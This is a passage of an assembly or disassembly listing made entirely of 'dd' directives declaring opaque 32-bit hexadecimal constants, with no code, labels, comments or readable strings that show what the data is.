		dd 0BFA82D98h, 0B0315C63h, 9E9A6C03h, 56D803F1h, 0E0F98455h
		dd 0C1000A1Bh, 4D38CE15h, 7B1FFDCBh, 0D4910947h, 4D803C6Eh
		dd 0C1E49286h, 23BEC12h, 8D161000h, 26FCF13Eh, 846EDh
		dd 170833ADh, 3F00D6CAh, 564E8B68h, 49991Dh, 0FDCCF0DAh
		dd 3D71C306h, 17985E0Eh, 91EA6075h, 385D04DBh, 0B801C984h
		dd 8B4876E4h, 9C39F8BBh, 3DA19B1Ch, 0C4293E80h,	6CC2C9h
		dd 2F07684Dh, 70878F2Bh, 2571C000h, 0F83C55A4h,	2C9C3E73h
		dd 46749D80h, 3F989749h, 0C61AD500h, 0F042CB5Fh, 92140126h
		dd 767CF8A7h, 908030ABh, 86094D00h, 0C5F92516h,	69BFE8Eh
		dd 0A8F75067h, 0E03CF89Ah, 30007D9Dh, 0A61BCC72h, 0C3350Ch
		dd 51EF0396h, 6E14F102h, 12D0A500h, 35CBEE13h, 0B8D418A0h
		dd 0C0A4FE66h, 0F6006BB0h, 2BEDFE80h, 6832456h,	9D41DB27h
		dd 0E20018FCh, 0AEBE2D3Ah, 7FF17DAAh, 5D90005Ch, 0E07F27FDh
		dd 5B00A06Eh, 0F9111767h, 0C5E0A58h, 0A943DEF5h, 2F004040h
		dd 0DCC0A51Ah, 9878CE18h, 6C1D0024h, 2D360C35h,	0DD3B33EFh
		dd 3BE60011h, 19F9619Dh, 87B0E8h, 32E9924Dh, 0F11CEC3Ah
		dd 0AB150400h, 3CCC3094h, 0C060320h, 75D2FA40h,	2EC23880h
		dd 2AA82500h, 452C3CC6h, 123F1D64h, 87440E3h, 3A7749C3h
		dd 3D89C100h, 53611B31h, 6B180E59h, 3CE0E1E6h, 93321607h
		dd 9C510400h, 0F71FBBC2h, 62B8C7h, 291B8961h, 70C97E69h
		dd 7C623400h, 645D198Eh, 0F58F00E1h, 1C6C436Eh,	2B0069FCh
		dd 752681D8h, 0CAA8Ah, 0FA2D4CF3h, 0A3E89411h, 17BB58h
		dd 43636A96h, 81A96Bh, 0B17927A4h, 0DEBF2DC0h, 0B895401h
		dd 45C8751Bh, 1FA6D160h, 40D1BB2Eh, 5CE9021Fh, 171D38DCh
		dd 580DD43h, 0F763D9A1h, 88790722h, 0A0619BE5h,	0D816E79Eh
		dd 6D005CF6h, 7333B5D2h, 3EAEB33Dh, 6A1C2FE5h, 0E8C84057h
		dd 3FDB764Eh, 0CA09380Eh, 0C3FBAFBBh, 0C110471Bh, 0E4DC91E8h
		dd 494B1B1Eh, 0DF9A10CFh, 7A4C2BC0h, 77A45900h,	40AD733Fh
		dd 86A100AFh, 8CF9CBB7h, 0E7070FBDh, 1B5AA307h,	0DF31D127h
		dd 49CCF791h, 0BFFB0023h, 99EA9F3Dh, 2E004EA3h,	0A21C0CCFh
		dd 0E813EEE5h, 0F6F28Bh, 7A4D9C53h, 0A37BEDDh, 2497DA3Ah
		dd 1C030052h, 7C9A236h,	6CFFF6C8h, 0BB003F20h, 0A657F747h
		dd 5BDC850Eh, 2CBC601Ah, 0F9CED9h, 0A226E0C9h, 0C08CEFE9h
		dd 0ACB23907h, 12704D92h, 5F41FEh, 97C90E20h, 6F23D511h
		dd 9D139C00h, 8B98BD01h, 66D00FB5h, 1DA05F72h, 0F19B71ACh
		dd 8C294C00h, 2199BB57h, 0B7600082h, 2B152469h,	0B4775C91h
		dd 0A8BDFE00h, 0E77332D1h, 6F980625h, 48F178C6h, 0B455100h
		dd 0C0DAEEA5h, 4C8D039Bh, 98FD66F6h, 0ECED5881h, 0FF00392Bh
		dd 73EA4875h, 426F82h, 6DDF8483h, 0D28BBAB1h, 5A5AA07h
		dd 0CB00ACEFh, 19534Eh,	0FBF89813h, 51B41DEBh, 20476C0Ah
		dd 9F04981Ch, 55C04CF0h, 2ADA92h, 0A3A2D512h, 69CA76Bh
		dd 74EA8101h, 2F54202Dh, 0B11C20h, 4EDF22C6h, 6165D80Bh
		dd 0D18C2C03h, 0D05B3669h, 7CC34E0h, 0ED8BD388h, 679AC080h
		dd 0C30FB078h, 0AFDBD06Ch, 55790164h, 4A60375Eh, 0EE5707BAh
		dd 70E0F04Eh, 26F18373h, 0FD9D0900h, 866D087Bh,	7C4B0C4Ah
		dd 9848782Bh, 0BAF51D0Bh, 71BB8064h, 0E95BBEADh, 20804621h
		dd 4F5256Dh, 2300B47Bh,	1FC1E04Ah, 7EC459h, 28AD4C79h
		dd 93F50EB6h, 165A450Fh, 0BDE0867Bh, 2FE70018h,	346F06F4h
		dd 300E1888h, 8061AD04h, 4FA71721h, 0EEB700DCh,	6C24BEE5h
		dd 6B0ED260h, 0E74D1AE3h, 0C9C02E8Eh, 853A6Fh, 67815A2Dh
		dd 6BD6E8A7h, 0A3231500h, 9DC2DC46h, 3A2C7809h,	4840FD1Bh
		dd 642A4300h, 0FA3DE014h, 0EB7B3F54h, 10814B81h, 0B187C7C9h
		dd 0F94A3828h, 0F6754E70h, 10220635h, 50DF9D97h, 0F8289220h
		dd 60FC0351h, 1D4F0EEh,	0B30CDEA0h, 0A8042D07h,	0A00E8534h
		dd 604709A4h, 0F891C096h, 0A5F74BECh, 0E43B18C1h, 2F701435h
		dd 0CAAA057Bh, 0AB449EB4h, 92A24980h, 4696A01Fh, 0E207B8Eh
		dd 311F3BEh, 2400CF8Eh,	0E74E71EEh, 19B92267h, 0B9E3602Eh
		dd 6512ECFh, 7343BFA6h,	710E203Fh, 7DE8D2BDh, 3435F5C0h
		dd 0C4C9C1h, 2EF1E46Ah,	4F398C82h, 0A4652300h, 1A33CA12h
		dd 954E0CE9h, 0AEC008B3h, 980C554h, 0ABC6A91Bh,	0D847E0D9h
		dd 9318C03Eh, 14632251h, 15C828C0h, 84BC24h, 683CFBBh
		dd 0B204E0EAh, 0A4978018h, 0E74341h, 35AFC6A5h,	0C221BC10h
		dd 0F2663F00h, 0DA6EE9C8h, 0E7F701B2h, 0A684A050h, 35E2D8D4h
		dd 1ABB8800h, 83624BCEh, 24F90E8Ah, 7A60DC52h, 906DFC4Fh
		dd 0FE0C4C03h, 0EA933Dh, 48970180h, 65DB42CDh, 8DD8742Eh
		dd 34820300h, 98CA241Fh, 0EE6E002Fh, 16795D0h, 530F651Eh
		dd 0C05D5F76h, 63F8CB02h, 204F0085h, 7B010C0Bh,	43092C34h
		dd 2490D2h, 0D1A2FBE4h,	0E476006Ch, 3F536A2Ah, 7203B6C7h
		dd 38AC7870h, 0F2E7D0CBh, 8AFE0051h, 14B85F56h,	86FAF8FAh
		dd 679801FEh, 6B646500h, 0E3A3831Ch, 375200D4h,	4C2BA98Dh
		dd 40097651h, 80C4AFB6h, 3EE3ACBBh, 0B815005Ch,	6AF4E01Dh
		dd 39E01675h, 7450B700h, 0F33A8A3Fh, 0E2B807A2h, 1F7507AFh
		dd 0FF87DC83h, 9C0A6FE8h, 3F2EF400h, 4A82327h, 716E3902h
		dd 10E7FF00h, 0C66B45F5h, 1A9F1201h, 0B4F42648h, 1F5ABFDCh
		dd 408FB2FFh, 105F3D9Bh, 2F76383Bh, 0A1D6C900h,	6044AB52h
		dd 0F664008Bh, 0AEBA7F5Fh, 8700711Fh, 6DC34391h, 36C8A1Ah
		dd 0D76F0315h, 2BE0CC44h
		dd 0C12CF4DBh, 3F3E4A10h, 58B10094h, 2767043Fh,	0CD690063h
		dd 6CE926B2h, 0E00E31B0h, 0C17BB4E3h, 64725A5Fh, 6721E8h
		dd 1BE729C3h, 0D7FF0409h, 0C523EA00h, 48779C5Eh, 4C1300E3h
		dd 4E3155DDh, 0AF00D662h, 0D44F1986h, 2342E2Bh,	45E015A1h
		dd 0CFE0E76Eh, 0EB0F88ACh, 0C049F0F8h, 0B3550AC4h, 542F017Eh
		dd 0BAC6B06Fh, 0EDB080A4h, 38183E5Eh, 3DEB0046h, 95473B9Bh
		dd 0F671F95Ch, 0F428F500h, 0C0ADF156h, 0E3960EDh, 0C961DE48h
		dd 0CEBF330Eh, 0E0948F13h, 84D59314h, 0C71D2ED1h, 37CA0082h
		dd 0FD18040Ch, 38BFED18h, 9918A60h, 0B150D75Fh,	61B96000h
		dd 0D90087ECh, 9D44FA49h, 7462F6Ah, 6F33BDFFh, 19B7E0DFh
		dd 0B5B094E9h, 764A7801h, 3B53EAD5h, 0A1DDDCh, 39E81546h
		dd 0FD95C02Fh, 6E481C00h, 47B68554h, 0E98E00E7h, 29222BC8h
		dd 3D030F44h, 4FEB2A79h, 7561FBCBh, 0A3D00071h,	9D5052BCh
		dd 931DBA66h, 0C2407621h, 2CF686E2h, 8C7A001Fh,	9D02D181h
		dd 8D0025B6h, 0FE210BCDh, 0A18A42h, 5DA76478h, 0F8DBA809h
		dd 0AC016C0Bh, 313D80C6h, 0CDB6B0h, 0BC50C188h,	80CBE42h
		dd 73118A07h, 406ED4C0h, 6D3B1346h, 69F70241h, 7A4F955Dh
		dd 8DF61860h, 0C7F0EC00h, 9FCA282Ch, 3E49249Dh,	0D8933A3Ch
		dd 8E500740h, 0BA4DF095h, 84708D87h, 0CD098B1Ch, 239147CEh
		dd 0C0E6D004h, 7E405953h, 800B5436h, 150A0E8h, 93510E7Ch
		dd 0EC60E564h, 0EEF478ADh, 0E258B5h, 0C51905A2h, 751EBF13h
		dd 7F8F4E1Dh, 79718CC2h, 165C6095h, 0CB4D00FFh,	5786BCC0h
		dd 0F909757Bh, 0CA0D17h, 0B7E62906h, 0AA7A26h, 6A18064h
		dd 0EDFA9C16h, 0C4EF2800h, 0EB20F30Fh, 3D0BE0DCh, 0AD007543h
		dd 23EDCA6Dh, 10E3B8Ch,	0E082C144h, 1B02FF5Dh, 4BDA0066h
		dd 8C60B3BAh, 0EE0FF6C2h, 21BC73BEh, 1018F128h,	89180E3h
		dd 3B011DE0h, 0C770021h, 0A16FB7C7h, 0B3F2DA00h, 2BC1B9B8h
		dd 0BD657E4Eh, 0F1001378h, 0A02004C7h, 0A78AD7h, 5E56C4A6h
		dd 47238858h, 0D6DF6300h, 797CCC49h, 0A19B0077h, 0B90A61B4h
		dd 2570C8E8h, 3997ED00h, 2835A51Ah, 0BC60389h, 34516F3Dh
		dd 0D880B4C3h, 7F005DE8h, 0BFE0F4E9h, 38105383h, 881F74A2h
		dd 65214036h, 587C6FF0h, 9F64E500h, 4EA14AF6h, 1991031Ah
		dd 0F8951CF7h, 0F31823CFh, 0E422C9C8h, 5B30C176h, 5FBF1928h
		dd 7C160002h, 0A5F59627h, 0DE0021D9h, 52C78772h, 22EC10h
		dd 75CA90DDh, 260464F7h, 13860F03h, 0D8A3AA24h,	0D1EFB8h
		dd 0B7272A31h, 196D04F6h, 0A9604E60h, 2FD842h, 0EF34E57Bh
		dd 0F5739EC2h, 84BB3A2Eh, 233C1E00h, 0F661DB68h, 0C5160053h
		dd 31FCC1A8h, 7300555Ah, 0BD74CFD3h, 819C15h, 0E47891ACh
		dd 9737D4DAh, 0A76A6F00h, 509EF2E9h, 0C0A50048h, 9224E0D9h
		dd 5D00B3BBh, 49080636h, 0D0AAEh, 0FA26020Fh, 65A4BD45h
		dd 99EA6900h, 0E65E3D17h, 0E5A7EC5h, 571B91B7h,	31CDDA60h
		dd 1F047EC3h, 0DB477DCCh, 0FA41C80h, 88071887h,	4F9010DCh
		dd 5EF57102h, 403839FCh, 7D10220h, 5695B99Dh, 736A4399h
		dd 32391800h, 345AC8Bh,	872C005Dh, 0A97998DFh, 577867F9h
		dd 6246FB0Fh, 0E4DB40BDh, 10CB6683h, 79BF1D2h, 144AC7C6h
		dd 6367DFF0h, 4120392h,	702D2377h, 9EA0D001h, 96C63A59h
		dd 0D2820h, 8CD8AF21h, 0CA10D7D9h, 8EA6A803h, 80D1FB08h
		dd 5F39DDh, 30F338B9h, 70B84888h, 2BCBEB00h, 0B2AA289Eh
		dd 0A4C90145h, 7A919D31h, 0E132D03Ch, 27203000h, 5F7C07A6h
		dd 6BE2FDh, 4C6AB577h, 44FB621Bh, 6FBD6300h, 0AB09BF37h
		dd 745CF0BEh, 0F37F55h,	6E601B01h, 0C94C1D3Ah, 91EAB9EAh
		dd 0AEDA8617h, 0D7A8871Eh, 0D0612C00h, 1615BBDDh, 5FC7BCEh
		dd 53E4B9BCh, 4CA405D5h, 0DFA7C1C3h, 8118202Dh,	8BF1E700h
		dd 2C85C497h, 9DED0711h, 40BF7E27h, 0B0691231h,	0B51A2516h
		dd 5591AD01h, 0FCC8A2F1h, 0F490FB4h, 6820A5B1h,	25F86EA0h
		dd 0DC7BB00h, 0A84F89AFh, 7AF0E4D4h, 0DB93005Fh, 41E7B37Eh
		dd 143A8D82h, 3FD8F8h, 0D09A625Ch, 3B6C8F5Dh, 4E83A223h
		dd 0EA850C47h, 0E292E3B8h, 0D197070Fh, 6F3420A4h, 4C5582B9h
		dd 951C34C6h, 69F84268h, 9D60FB66h, 4500889Fh, 7109C054h
		dd 0D28242h, 0F1875C1Fh, 10BF33Dh, 4C80850Eh, 0F2D86047h
		dd 13C18F19h, 12C608Ah,	1F454413h, 9B609FC2h, 3D157200h
		dd 3AAAC355h, 960059FFh, 0F1CEC85Ah, 0E0F39104h, 30DEBAFBh
		dd 8710E918h, 0B9CB4038h, 0EBE85A00h, 0D4554E5Eh, 626B0028h
		dd 78AAA0EDh, 3D002296h, 0A4E58C7Fh, 2A9B058h, 8A79D5FFh
		dd 0B401199h, 7207A6F3h, 6DE87544h, 0B5CE940h, 6994396Bh
		dd 0F25B9E00h, 0CFDED301h, 0A765C51Eh, 0ED2B8C40h, 53F5018h
		dd 605F27B3h, 732020DCh, 0C500581Bh, 956CFFC9h,	8041AEh
		dd 0A465189Eh, 0F5162B74h, 0A0E40600h, 14819475h, 717089h
		dd 43E75518h, 8E8F7CB7h, 0F11D6E00h, 3C6B345Dh,	0CE0600FEh
		dd 54995AC6h, 980072AFh, 188CA048h, 0F2C3A386h,	102A0047h
		dd 8F7079F0h, 48071388h, 0F556786Ch, 0C028D9F2h, 0EADB66h
		dd 84218BC6h, 0D2CF9D76h, 0A3765FEAh, 238E4D16h, 87320600h
		dd 17FDBE29h, 800CD32Eh, 65307770h, 4D0080FEh, 7E8B4BDFh
		dd 95BDB0h, 4B82041h, 8F0F6F88h, 88553528h, 0AAA3B418h
		dd 3208AE8h, 42F3541Fh,	0C9C3AE33h, 4037FEE1h, 17764890h
		dd 197C4E3Eh, 0F9292454h, 7A018EEDh, 0A09C1035h, 0F850C493h
		dd 0EA924220h, 2160587h, 9566D114h, 6CBBEC00h, 17874F3h
		dd 96B2D317h, 0ECE1D8B3h, 0DB00F676h, 0CE3F6DE6h, 0FA7D9468h
		dd 7764002Eh, 0AF6F1D51h, 0D61C90A4h, 1F3AF7E3h, 0D00029F1h
		dd 0DC8D7626h, 22850250h, 0A2E48165h, 0E9B27760h, 0F6F8EEB8h
		dd 2B7ADA90h, 788E5000h, 4A09A6B4h, 0F2DF1C74h,	26EEC061h
		dd 59D60C49h, 0E0003CF0h, 0AED38FEAh, 9E3E6Eh, 0FC390B5h
		dd 30A38ECEh, 851A4B07h, 4E103869h, 7F94FEh, 87E22B14h
		dd 1EDBFCFDh, 6C482AE2h, 186B0048h, 0FF2C4BD1h,	70130EF6h
		dd 25858526h, 307687D9h, 985CC205h, 58155900h, 5E0F87B5h
		dd 824F00CBh, 7C4B9AFBh, 3B00B453h, 0B5D86508h,	6D31ECh
		dd 0F71FE2BBh, 0FFF61EDDh, 82707660h, 6DC4EB0h,	0D10A675Fh
		dd 880018F2h, 0D4B9A319h, 0CC4F83h, 8EFEE2EEh, 68C7FB97h
		dd 938C7000h, 7E5044FAh, 2409008Fh, 0DAD6C8CDh,	2F30C964h
		dd 0D12DA08Ah, 98D23ECAh, 0EA3F007Dh, 8DD790C1h, 0B900B59Dh
		dd 0C0D9F34h, 1D243219h, 8054EDAEh, 9B0679F6h, 2738D8ABh
		dd 0B78D00B9h, 65CD2510h, 730E078Ah, 30756C0Bh,	0DD196E23h
		dd 18BB2100h, 2C2F098Bh, 0CD6200EEh, 0AB81407h,	0BE02F2B2h
		dd 11C170ADh, 97004141h, 1F8F05E8h, 0C7E99E22h,	0F7ED5671h
		dd 57F7D720h, 0BB4810C6h, 5C0064FDh, 0F199B878h, 785E0BFh
		dd 47D7081Fh, 0A8F5D0F2h, 7B001007h, 0A95EDEA1h, 70F60Ch
		dd 0F396A438h, 2BDD8E64h, 48973Ah, 122199A3h, 0A6CB92h
		dd 138BB82Fh, 83683377h, 415F6000h, 0A811176Dh,	27B379BCh
		dd 20FC61D7h, 543AFD0Fh, 0CDF600D5h, 5995CA04h,	0E4AC4C79h
		dd 0E11D1600h, 927E4AFFh, 0B8ADEB00h, 0D57A32DAh, 23B300E5h
		dd 0CA69136Fh, 6D00B4CEh, 4EE0F74h, 1CF17B18h, 404A98EFh
		dd 317624B8h, 0DCE5999Fh, 8500C1A4h, 68420FB5h,	239DE2h
		dd 0BD3E4C53h, 72050ACDh
		dd 94DAD500h, 5C1BA5B4h, 0DFEAE2h, 0AFE6FD54h, 1AF61D2Eh
		dd 0D638BF7Ah, 173800ACh, 0C2912D96h, 0AA750050h, 30827C5Fh
		dd 82B83FDEh, 101A6B03h, 907FA4E4h, 9B8A16h, 81CEA3BDh
		dd 4C22D976h, 0BA067A03h, 0EF11F364h, 4FA485A1h, 6B7660h
		dd 33B52F9Eh, 0E586027Eh, 3E09707Ah, 0EF07D2h, 511CF218h
		dd 2C7F90h, 0A0294627h,	0C21363F9h, 0DD720D00h,	14D2C0DCh
		dd 6676004Dh, 6D01EEB5h, 0FE02CA52h, 87493C2Bh,	0D2D84317h
		dd 94441Bh, 0EE19C4C3h,	982C9F10h, 2FDE3E00h, 8D6BD905h
		dd 0E17E014Fh, 688314D1h, 0CB9C20EFh, 8525D00Ch, 0FCEA1161h
		dd 47730091h, 0FE3F3843h, 2F03EE04h, 158AFADh, 7497E0ECh
		dd 0A3BC0092h, 5730524Bh, 6D1EB70Bh, 0AF49F808h, 60640E69h
		dd 0F24FB9F5h, 9D1E0196h, 3974D595h, 4A6CD005h,	0A1B3D100h
		dd 22CAB81Dh, 0CDC30ED0h, 2960ADF0h, 70E31366h,	9F44C616h
		dd 5CE203AAh, 0CEB876BBh, 290F7B8Dh, 238E1FDFh,	80A4A643h
		dd 0F690AF53h, 0A8265F34h, 5F3A0958h, 74D4005Ch, 0C9D90Dh
		dd 16117A0h, 84CF6D07h,	554B6600h, 1656B4B1h, 1CB6763Ah
		dd 0C02BA01Bh, 8822E413h, 97000B21h, 0FB38A910h, 4F4603h
		dd 3CEE9ABDh, 8A1480A0h, 5A338D00h, 0D66C8EA9h,	9E7984h
		dd 5F266F27h, 0DAA835EAh, 0D0700B00h, 3C64E49h,	1A5500CCh
		dd 0B320C141h, 0B91FCE1Fh, 0E0300C92h, 8C06A9h,	470A33FDh
		dd 0F7A0F288h, 0D668C900h, 0FC6044E7h, 7B0C7026h, 9904006Fh
		dd 0DEBF2C82h, 0DC005DCEh, 689A1552h, 0EBF1B3h,	90A023Bh
		dd 0A0D4C4C8h, 0F610E200h, 1E3697Dh, 87170F46h,	0AAC0E14Ch
		dd 4F9E1C09h, 6E76D100h, 0AD0A7BDAh, 3687000Eh,	92FFCA64h
		dd 3A01A416h, 0BE8C3E2Eh, 51D0EEAEh, 77E05Eh, 3B468AE9h
		dd 0AB78FA10h, 5D096800h, 6FE32F9Ah, 96AD03E4h,	50FFAE21h
		dd 512AD1C0h, 8488C00h,	7BE7B213h, 382900F0h, 0BCDC8191h
		dd 3A002AEFh, 0DA854C7Fh, 0E5430DDh, 0D059E31Ah, 1C8DC4E3h
		dd 4E4883B0h, 6195521Ch, 0F8C587DFh, 0B1C19CFEh, 0B1F8DEE0h
		dd 0CD2B0009h, 2887DB5Eh, 0FE003A34h, 529243FDh, 9DF64Ah
		dd 2D105B6Fh, 0D3BD1456h, 7BB37C00h, 15A4E883h,	38B79FBh
		dd 87E5BA8Eh, 880C5C8h,	0FF0475D0h, 9F2BB826h, 0BFC27C80h
		dd 0FD97016Bh, 0F62C5713h, 85B48094h, 0D1699045h, 0E29D0012h
		dd 1E836D59h, 0DD000C3Ah, 0A993E6E7h, 44B66Bh, 34D2DCF3h
		dd 33251DCAh, 0D9ED5906h, 48779Dh, 0F49AD7ABh, 0B507F5Bh
		dd 6923800h, 3A0DBFF5h,	0B90800C2h, 46085E5h, 0A8B28ABAh
		dd 547C0607h, 53508B16h, 17381B72h, 151CFEh, 0A52A6DFh
		dd 0C100EE67h, 75F1094Eh, 77AAC8Bh, 5F79221Fh, 6807008Ch
		dd 800648C9h, 0B3B56E88h, 66A60090h, 0BA295E2h,	81000F08h
		dd 260CB951h, 3C90488h,	0EE153F2Ah, 0F290CB7Dh,	0C800FB2Fh
		dd 61131F46h, 79A01005h, 1C2901D1h, 57B3D571h, 95A4C449h
		dd 9CE0E207h, 0FDB017B9h, 74C339h, 0ABB4608Bh, 0CC670373h
		dd 1FB5680Fh, 27FA005Fh, 14CBDDEDh, 9C8C1C40h, 1DB5B824h
		dd 0FC1485DAh, 269E80B6h, 8B0160BEh, 76D3117Fh,	9EFC5161h
		dd 841600FBh, 0BBF9C5B9h, 0A7124DC9h, 0F1DED2Dh, 59C6786h
		dd 0B4950EE0h, 0BE20217Bh, 9BD7D585h, 6EACD000h, 7B2C490h
		dd 5FFA0520h, 0C32AAF31h, 0A8C8C846h, 0DB00ED52h, 0F07EF2B8h
		dd 39B5A1h, 564A1A50h, 84C8B78Ah, 5F12F8C1h, 9C70D203h
		dd 2C6D1C8Dh, 53F86B8h,	7F2620B3h, 34033427h, 936494C2h
		dd 0D8F2D062h, 2C20C083h, 0F86A7103h, 4DFCD100h, 86A1A98Fh
		dd 0CEF500D0h, 0A5DD0145h, 9E006EECh, 0E2E5295h, 0B72D8Bh
		dd 51DF5BCCh, 3A8934D5h, 5E9CF300h, 114DEDFEh, 19153C2Bh
		dd 68F0C798h, 3000798Eh, 0AF7445D4h, 0CEB1A42h,	0F2062CA6h
		dd 8E02E420h, 1C2E7940h, 0A04FC335h, 3CCBEB68h,	0FC8785B4h
		dd 1065C6E0h, 83F65402h, 0A1273Ah, 9E9E69Ch, 0ECB2E855h
		dd 0B83A0017h, 0CC9DD24Eh, 4207A3D0h, 49A81331h, 1F270FDBh
		dd 0C788B40h, 1F8ADDFAh, 571868AAh, 1FD02085h, 54B0B437h
		dd 65E91200h, 0CCE3A45Fh, 687E07B1h, 37BF7CF9h,	2F8C70C1h
		dd 0E90082FAh, 0B0BB7166h, 708BEB7Fh, 85B701BDh, 0BA3210F2h
		dd 0FDE840DBh, 5D3947F1h, 35C200A8h, 6E72D406h,	0FC6700F6h
		dd 3DC5EEA5h, 0DD0075CCh, 87386AB7h, 5B5CBAh, 6E24239h
		dd 2902553Bh, 0B9072CE0h, 0BBAFDC0Fh, 0D31867F0h, 21A20E9Bh
		dd 8A80BC6Bh, 0F812CB4h, 619F3601h, 0C1C3096Ah,	5315D0h
		dd 647AE1D4h, 972DF6C2h, 0A2871100h, 3AB12391h,	80B50719h
		dd 0A047D86Ah, 0C6A02DAAh, 1F2C3675h, 0BC1E1D76h, 0B1D17800h
		dd 1FF21F3h, 5CDC09FBh,	0F8459D04h, 0D6714F82h,	0F8963400h
		dd 0C2B3635Ah, 0FA2600A6h, 66CF83AEh, 8D168C5Dh, 36001D68h
		dd 2A87C8B6h, 463A6007h, 0DCFAEA63h, 19EB3D00h,	0A6C7B562h
		dd 80540013h, 0F2C87AEFh, 0B1FA1670h, 6E53D81Dh, 634E7B00h
		dd 0E5BE1F7h, 0C3ED21AAh, 6F9044E3h, 2D193100h,	32D4C287h
		dd 3D88003Ah, 0C05E5D62h, 8000435Ch, 1B9C11E3h,	0F99D5Bh
		dd 0E5718DA5h, 5DB45054h, 2875E7FAh, 22AF6200h,	0B6D9BB0Eh
		dd 13000A6h, 0CA7926F6h, 88003893h, 1F3BD29Ch, 0C04C2A5Bh
		dd 636CA498h, 0F40037D3h, 5FB57D70h, 1284009h, 75020A44h
		dd 0BC563833h, 0D08B8550h, 0E3001AFEh, 0BDF9942h, 66F70972h
		dd 0DE804581h, 9718F8DDh, 704F4B00h, 0E560CCA1h, 4376DF04h
		dd 6D32501Bh, 0E81D3698h, 780B7C31h, 48201124h,	4838D499h
		dd 0AEEE7B03h, 6A06D8Ah, 760235AFh, 7F9266A9h, 43CE04Eh
		dd 8EE3125Fh, 0E1FD00D3h, 0BC556DBDh, 0C7BF3700h, 7A065403h
		dd 0F4B00704h, 105EE764h, 7C7B8E1Ah, 0CB1CA200h, 0C6EA8513h
		dd 0E27102C9h, 0D9589D27h, 3B2BEC40h, 117E5B00h, 7F2A1B79h
		dd 495D00B0h, 0DBBC58ADh, 82139857h, 801C7CB8h,	5584833Ch
		dd 80078E9Fh, 3351E9h, 79569919h, 381028E0h, 0F4F9D300h
		dd 0E7F8FC1Dh, 55A20E82h, 4660174Fh, 0ED537AA0h, 7BA2E348h
		dd 96503700h, 38A77E81h, 322F0007h, 308DEF77h, 5301CD09h
		dd 178535ADh, 3F0DB96h,	696239FFh, 0ECCCC880h, 7A5BEDA8h
		dd 39241672h, 4E000DE3h, 2FC731C5h, 6A790027h, 447003B2h
		dd 0BB009543h, 81C42C4h, 0E9C3CF8h, 472BEEABh, 0F2F8FE9Eh
		dd 0D0B60F29h, 5D23F054h, 0E8750E7h, 6ADD3580h,	7C0189E5h
		dd 439B8CA5h, 0D7DE67FFh, 14349540h, 0F38DE800h, 0AD5F0D95h
		dd 0E571E4h, 0DFDA7772h, 0C2C8272Bh, 1DB54B00h,	8FE47B17h
		dd 0E8310EABh, 2B63A526h, 0A3FFA0B0h, 403A12F3h, 50340058h
		dd 934AEE3Dh, 7ED7DE3h,	0FDEC10A3h, 2C37B3F5h, 30187FB1h
		dd 5100272Eh, 6560C93Fh, 0D1FBB4h, 0E86FEAD3h, 755E1633h
		dd 0F1B15B8h, 0A8600113h, 1DCFD972h, 76E0618h, 8053E830h
		dd 0D722BC99h, 1100F573h, 4382E0CDh, 0EBA9ADh, 45EE4ACh
		dd 24B1C674h, 0C2F64700h, 95F5893Eh, 0F7070031h, 9222BD23h
		dd 0AA00C0F3h, 0B6CB2B25h, 0EE6E0Dh, 0EBF75B5Fh, 0E291A908h
		dd 104A6D06h, 196329h, 27DA4995h, 1B08D556h, 0F326A8C0h
		dd 9F132h, 0E8ACC612h, 0A1CA80D8h, 0C4331400h, 4082455h
		dd 5B4A0094h, 99D87AA3h, 8F00733Dh, 0E8B9A940h,	271BE5h
		dd 418C0D2Dh, 30969AE3h, 0E2995Ch, 0AEC42262h, 5680637h
		dd 4BF829B4h, 0A822C12Ah
		dd 0EAF85881h, 4444B340h, 0A3004513h, 34561CE5h, 0B03B03h
		dd 2F7FEA9Bh, 9CF1C1E0h, 37125900h, 0E9FA898Ch,	0C8A100E8h
		dd 10469723h, 84000FB1h, 0EBD0BAEEh, 0D91938h, 0C9DF2DBBh
		dd 0CC93715Ch, 110A0C0Ah, 35078244h, 60897994h,	0FE14845h
		dd 0F37CB1D6h, 86ED07BEh, 7811D0AEh, 3C3E0B33h,	10E8093h
		dd 88739BE9h, 0A2E04851h, 0C89C0907h, 3A8329D4h, 70D7C9FDh
		dd 0EF2728F8h, 39EAFE38h, 0F7D880A0h, 55C6D7C1h, 9335001Eh
		dd 5363406Eh, 0FF019F78h, 3D772CD9h, 0AEC1F4E1h, 176C4E0h
		dd 6E9B4013h, 0D73A732Bh, 948A8CE0h, 989DFB00h,	0C0E0416Fh
		dd 5A340129h, 0D92440B3h, 0B4618E03h, 0EF9253h,	2CC5A7CDh
		dd 0B200BCFDh, 441FADC7h, 3D906B9h, 0E27BDEFEh,	107EBA82h
		dd 0A5668710h, 0C20FBE80h, 0EF008189h, 0E1422BB5h, 76C1B2B6h
		dd 8D750E0Dh, 63C0A844h, 461B94EBh, 763AFD00h, 0DE54C3E1h
		dd 71BB024Ch, 16A6ACA3h, 32AB4160h, 932DD300h, 7EF8A8DAh
		dd 895A3F6Fh, 69006F4Ch, 0C2241535h, 7209501Eh,	73EF5E9h
		dd 0D8BC293Ch, 42813E87h, 0D5256900h, 3FF98F09h, 0F3E76B0Ah
		dd 0CD20A4A4h, 27B5C702h, 0E0AF514Fh, 0FA10C3h,	5F2A77B1h
		dd 5C99FEA6h, 9B0059E8h, 8D25DBEDh, 571A4Ch, 0EC7D7168h
		dd 4F9C795Eh, 3F561F00h, 0F3D51250h, 0DCD8E9D3h, 3CC70FD2h
		dd 0C280D767h, 0C180F50Eh, 25EB3A00h, 1BB0C88Ch, 96590073h
		dd 0E8C414CBh, 3F07BF8Fh, 0BA801686h, 0F1C51E40h, 77300D3h
		dd 83D22BE4h, 0BF006AA9h, 70DCF312h, 84B66Dh, 0D99894C6h
		dd 69A1B22Eh, 6BE3C000h, 0DD3B1477h, 8BFC009Fh,	0C5E2CF90h
		dd 86070AF8h, 1D5DD219h, 0A6CBF520h, 18A400A0h,	0EC2D055Fh
		dd 0EA4CE07Bh, 7E2F00AAh, 0F879E3EEh, 5E2B00E6h, 8765C498h
		dd 561CE067h, 83402DD0h, 3416C077h, 28FCD3h, 55CA31ACh
		dd 0FEA8FAE1h, 76F89A67h, 0C6D28CE0h, 0D3900285h, 0ED0FCD4h
		dd 839716C1h, 5BCBA310h, 3D74D0A9h, 11DE4ABh, 65E8F686h
		dd 7059E666h, 0ED07B018h, 288F6C23h, 0E4E77050h, 4C20004Bh
		dd 568B4332h, 0BF1D0296h, 0F7EA0D4h, 87EB516Bh,	0D1402805h
		dd 90F424ABh, 8599000Dh, 0ECE9EE2Eh, 3B009E55h,	0FC00DB3h
